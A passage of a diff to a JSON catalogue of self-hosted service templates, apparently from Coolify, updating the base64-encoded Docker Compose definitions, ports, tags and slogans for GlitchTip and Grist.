0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==",
"tags": [
"photos",
"gallery",
@@ -1758,19 +1758,17 @@
},
"glitchtip": {
"documentation": "https://glitchtip.com?utm_source=coolify.io",
- "slogan": "GlitchTip is a self-hosted, open-source error tracking system.",
- "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODA4MAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiBnbGl0Y2h0aXAvZ2xpdGNodGlwCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=",
+ "slogan": "GlitchTip is a error tracking system.",
+ "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2xpdGNodGlwL2dsaXRjaHRpcDo2LjAnCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=",
"tags": [
"error",
"tracking",
- "open-source",
- "self-hosted",
"sentry"
],
"category": "monitoring",
"logo": "svgs/glitchtip.png",
"minversion": "0.0.0",
- "port": "8080"
+ "port": "8000"
},
"glpi": {
"documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io",
@@ -1893,7 +1891,7 @@
"grist": {
"documentation": "https://support.getgrist.com/?utm_source=coolify.io",
"slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.",
- "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF80NDMKICAgICAgLSAnQVBQX0hPTUVfVVJMPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdHUklTVF9TVVBQT1JUX0FOT049JHtTVVBQT1JUX0FOT046LWZhbHNlfScKICAgICAgLSAnR1JJU1RfRk9SQ0VfTE9HSU49JHtGT1JDRV9MT0dJTjotdHJ1ZX0nCiAgICAgIC0gJ0NPT0tJRV9NQVhfQUdFPSR7Q09PS0lFX01BWF9BR0U6LTg2NDAwMDAwfScKICAgICAgLSAnR1JJU1RfUEFHRV9USVRMRV9TVUZGSVg9JHtQQUdFX1RJVExFX1NVRkZJWDotIC0gU3VmZml4fScKICAgICAgLSAnR1JJU1RfSElERV9VSV9FTEVNRU5UUz0ke0hJREVfVUlfRUxFTUVOVFM6LWJpbGxpbmcsc2VuZFRvRHJpdmUsc3VwcG9ydEdyaXN0LG11bHRpQWNjb3VudHMsdHV0b3JpYWxzfScKICAgICAgLSAnR1JJU1RfVUlfRkVBVFVSRVM9JHtVSV9GRUFUVVJFUzotaGVscENlbnRlcixiaWxsaW5nLHRlbXBsYXRlcyxjcmVhdGVTaXRlLG11bHRpU2l0ZSxzZW5kVG9Ecml2ZSx0dXRvcmlhbHMsc3VwcG9ydEdyaXN0fScKICAgICAgLSAnR1JJU1RfREVGQVVMVF9FTUFJTD0ke0RFRkFVTFRfRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdHUklTVF9PUkdfSU5fUEFUSD0ke09SR19JTl9QQVRIOi10cnVlfScKICAgICAgLSAnR1JJU1RfT0lEQ19TUF9IT1NUPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1R9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
+ "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF84NDg0CiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnQVBQX0RPQ19VUkw9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX1VSTF9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9U